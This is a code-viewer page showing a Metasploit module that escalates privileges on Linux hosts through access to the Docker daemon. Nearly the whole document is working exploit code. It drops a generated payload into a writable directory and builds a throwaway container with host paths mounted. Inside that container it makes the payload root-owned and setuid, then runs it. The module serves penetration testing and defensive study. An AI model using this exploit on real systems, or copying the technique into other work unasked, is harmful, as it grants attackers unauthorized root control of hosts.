Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/local/docker_daemon_privilege_escalation.rb
19720 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Msf::Post::File
10
include Msf::Post::Linux::Priv
11
include Msf::Post::Linux::System
12
include Msf::Exploit::EXE
13
include Msf::Exploit::FileDropper
14
prepend Msf::Exploit::Remote::AutoCheck
15
16
def initialize(info = {})
17
super(
18
update_info(
19
info,
20
{
21
'Name' => 'Docker Daemon Privilege Escalation',
22
'Description' => %q{
23
This module obtains root privileges from any host account with access to the
24
Docker daemon. Usually this includes accounts in the `docker` group.
25
},
26
'License' => MSF_LICENSE,
27
'Author' => ['forzoni'],
28
'DisclosureDate' => '2016-06-28',
29
'Platform' => 'linux',
30
'Arch' => [ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_MIPSLE, ARCH_MIPSBE],
31
'Targets' => [ ['Automatic', {}] ],
32
'DefaultOptions' => { 'PrependFork' => true, 'WfsDelay' => 60 },
33
'SessionTypes' => ['shell', 'meterpreter'],
34
'DefaultTarget' => 0,
35
'Notes' => {
36
'Reliability' => UNKNOWN_RELIABILITY,
37
'Stability' => UNKNOWN_STABILITY,
38
'SideEffects' => UNKNOWN_SIDE_EFFECTS
39
}
40
}
41
)
42
)
43
register_advanced_options([
44
OptString.new("WritableDir", [true, "A directory where we can write files", "/tmp"])
45
])
46
end
47
48
def base_dir
49
datastore['WritableDir'].to_s
50
end
51
52
def check
53
if cmd_exec('docker ps && echo true') =~ /true$/
54
print_good("Docker daemon is accessible.")
55
Exploit::CheckCode::Vulnerable
56
else
57
print_error("Failed to access Docker daemon.")
58
Exploit::CheckCode::Safe
59
end
60
end
61
62
def exploit
63
if !datastore['ForceExploit'] && is_root?
64
fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
65
end
66
67
unless writable? base_dir
68
fail_with Failure::BadConfig, "#{base_dir} is not writable"
69
end
70
71
if nosuid? base_dir
72
fail_with Failure::BadConfig, "#{base_dir} is mounted nosuid"
73
end
74
75
pl = generate_payload_exe
76
exe_path = "#{base_dir}/#{rand_text_alpha(6..11)}"
77
print_status("Writing payload executable to '#{exe_path}'")
78
79
write_file(exe_path, pl)
80
register_file_for_cleanup(exe_path)
81
82
print_status("Executing script to create and run docker container")
83
vprint_status cmd_exec("chmod +x #{exe_path}")
84
vprint_status shell_script(exe_path)
85
vprint_status cmd_exec("sh -c '#{shell_script(exe_path)}'")
86
87
print_status "Waiting #{datastore['WfsDelay']}s for payload"
88
end
89
90
def shell_script(exploit_path)
91
deps = %w(/bin /lib /lib64 /etc /usr /opt) + [base_dir]
92
dep_options = deps.uniq.map { |dep| "-v #{dep}:#{dep}" }.join(" ")
93
94
%Q{
95
IMG=`(echo "FROM scratch"; echo "CMD a") | docker build -q - | awk "END { print \\\\$NF }"`
96
EXPLOIT="chown 0:0 #{exploit_path}; chmod u+s #{exploit_path}; chmod +x #{exploit_path}"
97
docker run #{dep_options} $IMG /bin/sh -c "$EXPLOIT"
98
docker rmi -f $IMG
99
#{exploit_path}
100
}.strip.split("\n").map(&:strip).join(';')
101
end
102
end
103
104